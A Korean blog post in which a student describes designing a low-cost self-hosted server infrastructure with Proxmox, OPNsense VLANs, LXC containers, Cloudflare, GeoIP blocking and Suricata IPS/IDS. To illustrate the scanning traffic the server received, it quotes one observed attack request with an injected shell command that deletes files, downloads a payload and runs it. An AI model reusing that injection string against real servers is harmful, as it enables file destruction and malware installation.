직접 클라우드 서버 제작 및 서버 인프라 설계
서버구축에 있어서
올해 프로젝트를 진행하면서 팀장 역할과 Android와 BackEnd 개발을 하게 되었습니다. Spring을 공부하고 있어 서버 개발은 할 수 있었지만, 서버 인프라 설계에 대해 잘모르고 있었습니다. AWS, GCP를 이용하면 시간 절약이 가능했지만 비용문제로 Local 서버로 만들어야 하는 상황이라 학교에서 배운 네트워크 기반과 보안 지식을 꺼내야만 했습니다.
한정적인 자원을 효율적으로
로컬 컴퓨터에 서비스를 설치해서 사용할 수 있지만, 만약 서버가 문제가 생기면 다른 서비스에 영향이 갈 수 있고, 백업이 불편하다는 점이 있었습니다. 그래서 다른 방법을 찾게 되었습니다. 특히 한정적인 로컬 자원을 잘 활용하며 백업이 유연해야 했습니다. 주변에 어떤 방법이 찾아보던중 이미 자원을 효율적으로 잘 활용하고 있는 AWS, Google Cloud, NHN Cloud 등등 클라우드 서비스를 제공하는 회사의 방식을 분석하게 되었습니다. 구성 사진과 구축 아키텍처를 보면서 느낀 점은 클라우드 서버 회사들은 vmware와 같이 가상화를 시켜주는 하이퍼바이저 운영체제를 사용하는 것을 알게 되었습니다. 그렇다고 Windows에 가상화하는 것은 효율이 좋지 않아 운영체제에서 직접 할 수 있는 것을 찾다 보니 ESXI와 Proxmox라는 두 개를 찾았습니다.
클라우드 서버 구성은 어떻게 할까?
클라우드로 구성하는 것을 보면 대부분 3가지의 공통점이 있었습니다. 방화벽, 게이트웨이, 컨테이너 3가지를 구성하는 것은 필수인 것으로 보였습니다. 또한 Public, Private 네트워크를 분리하고 로드밸런스를 통해 서버로 연결되는 것을 알았습니다. 이를 통해 서버는 Internet → Gateway → LoadBalancer → Server → DB 이런 단계로 들어가는 것을 확인을 했습니다. 그러면 이를 구성하기 위해 3가지의 조건이 필요했습니다. Gateway 즉 인터넷을 통해 들어오는 것을 감시하고 서버 네트워크로 들어올 수 있도록 해주는 것입니다. 직접 방화벽 하드웨어를 달거나 하면 좋겠지만, 비용이 많이 발생하기 때문에 방법을 탐색 중 opnsense, pfsense, untangle 3가지의 소프트웨어를 찾게 되었습니다. 다 각자의 장점이 있었지만 그중에서 opnsense을 선택하게 되었습니다. opnsense은 pfsense의 포크 버전이기도 하며 다양한 플러그인을 손쉽게 설치하고 다양한 기능을 무료로 사용할 수 있어 선택하게 되었습니다.
opnsense에서 Vlan을 구성하여 역할이 비슷한 서버끼리 뭉치게 해두고, Proxmox에서 가상 네트워크 어뎁터를 통해 역할을 분리한 것끼리 네트워크를 연결시켜 네트워크를 구성했습니다. 완전한 분리를 해야한다면 서버마다 어뎁터를 만들어서 연결하면 되겠지만, 그렇게 되면 너무 많은 어뎁터로 관리에 효율적이지 않다고 판단했습니다.
공격을 대비하자
클라우드 서비스를 이용하면 외부로 공격이 들어오는 것을 로컬에서 구축하는 것보다 덜 신경 써도 되지만, 그게 아니기 때문에 외부로부터 공격이 오는 것을 조금 더 신경을 써야 했습니다. 임시적으로 테스트를 위해 서버를 올려서 공개IP를 두었을 때 “/.env”, "/shell?cdt/tmp;rm+-rf+*;wget+ XXX.XXX.XXX.XXX;sh+/tmp/jaws"와 같은 요청으로 서버에 대해 분석하거나 공격 요청들이 들어오는 것을 확인했었습니다. 도메인을 통해 요청하는게 아닌 IP주소를 직접 요청하는 경우가 많았습니다. 봇을 통해 IP대역대로 요청때리는것 같았습니다. 그래서 도메인으로 들어오는 요청은 로드밸런스에서 정상통과 하도록 지정하고, IP로 요청할 경우 무조건 Redirect로 도메인으로 요청하도록 지정해두었습니다. 그리고 대부분의 공격요청은 해외IP를 통해 요청하는 것이기 때문에 GeoIP를 지정하여 한국IP를 제외한 다른 IP에 서버로 요청을 하는 것을 차단을 해두었습니다. 또한 Opnsense에 지원하는 기능중에 Suricata기반으로 만들어진 IPS/IDS를 활용하여 보안규칙을 지정하여 악의적인 요청에 대해서는 요청 거부하도록 설정해두었습니다.
도메인에 IP정보가 있기 때문에 충분히 서버 IP주소가 노출이 되기 때문에 스캐닝 외에도 다양한 공격을 할 수 있습니다. 이러한 문제를 해결하기 위해 서비스를 Proxy로 해줄 수 있는 Cloudflare를 사용하기로 했습니다. 그러나 Cloudflare에서 제공하는 CDN을 거쳐 들어오기 때문에 응답속도가 평균 15~30ms 유지하는 것이 300~600ms까지 늘어났습니다. CDN 한국서버로 이용하면 좋겠지만, 프리티어에선 일본 서버로 연결되어 응답속도가 느려질 수밖에 없었습니다. 그래서 홍보용 웹 서버에는 CDN을 적용하고 외 다른 API관련된 서버는 GeoIP를 지정하여 한국에서만 접근할 수 있도록 정책을 지정했습니다.
LXC VS Docker
Docker는 아마도 다들 한번쯤은 들어보셨겠지만 LXC는 처음 들을 수 있습니다. LXC는 Linux Container의 뜻으로 리눅스 가상화 컨테이너 기술입니다. 도커와 LXC차이점은 가상화 수준이 다릅니다. 도커는 응용프로그램 수준의 가상화이고 LXC는 OS수준에서 가상화를 제공합니다. 저희는 두 방법중에 Docker를 사용하려고 했으나 자원의 한정적인 문제와 백업에 용이하지 않을 것으로 판단하여 LXC를 선택하게 되었습니다.
왜 LXC를 선택하였는가?
우리가 만든 서버는 돈과 자원이 한정적입니다. 호스트컴퓨터에서 여러 응용프로그램과 여럿 가상화가 올라가야하니 리소스에 대해 여유가 있지 않았습니다. 또한 Proxmox는 LXC를 편리하게 연결을 도와줍니다. 도커와 같이 이미지를 layer를 공유해서 캐시처럼 사용할 수 없지만 리소스에 대해서 더 큰 장점으로 가져올 수 있어 선택하게 되었습니다.
서버 구조설계를 본격적으로..
지금까지 다양한 정보를 종합해서 아래와 같이 서버를 구성을 했습니다.
- Cloudflare
- Proxmox
- 가상 네트워크 어뎁터
- Vlan
- LXC
- Opnsense
- IPS
- IDS
- VPN
- Load Balancing
전체적인 흐름으로는 사용자들은 Cloudflare에 연결된 도메인으로 요청을 하면 Proxy로 서버로 요청 보낼 수 있도록 했습니다.(API관련 서버는 CDN을 거치지 않고 바로 들어옵니다.) 여기서 Opnsense에서 ACL규칙으로 Cloudflare요청, 한국IP 외에는 Block을 처리하여 요청을 무시하고, VPN은 허용된 IP를 제외 Reject설정해두었습니다 또한 가상 네트워크로 구성된 내부에 있는 서버들은 다른 대역대 IP에 요청하는 것을 모두 Reject를 설정하여 네트워크 파악을 방지하고, 서비스를 제공하는 서버나 특정 서버로 접속해야할 경우 ACL로 허용할 수 있게 해두었습니다.
마지막으로 Proxmox 운영체제가 해킹으로 피해를 입으면 구축과 보안에 대한 의미가 없어지기 때문에 Router에서 관리자 IP만 접속할 수 있도록 설정해두었습니다.
서버 인프라 구축에 대한 생각
Android 애플리케이션을 개발만 하다 보니 이러한 구조에 대한 지식이 많이 부족했었지만, 이러한 경험을 통해 서버에 설계 경험을 얻어 좋은 시간이 되었습니다. 공부하며 MSA에 대해 궁금증이 생기기도 해서 MSA설계 방법에 대해서 공부를 해보려고 합니다. 그리고 이러한 구축으로 승인받지 못했던 Intranet API 사용에 대한 권한까지 얻을 수 있었습니다. 좋은 경험이 된 것 같습니다. 긴 글 읽어주셔서 감사합니다.
참고자료
댓글
이 글 공유하기
다른 글
-
SOLID의 중요성과 아키텍처 설계
SOLID의 중요성과 아키텍처 설계
2024.07.18 -
Firebase crashlytics으로 앱 안정성 확보하기
Firebase crashlytics으로 앱 안정성 확보하기
2024.06.26 -
WebRTC란?
WebRTC란?
2023.04.10 -
Kotlin Coroutines 이란 무엇인가요?
Kotlin Coroutines 이란 무엇인가요?
2023.02.06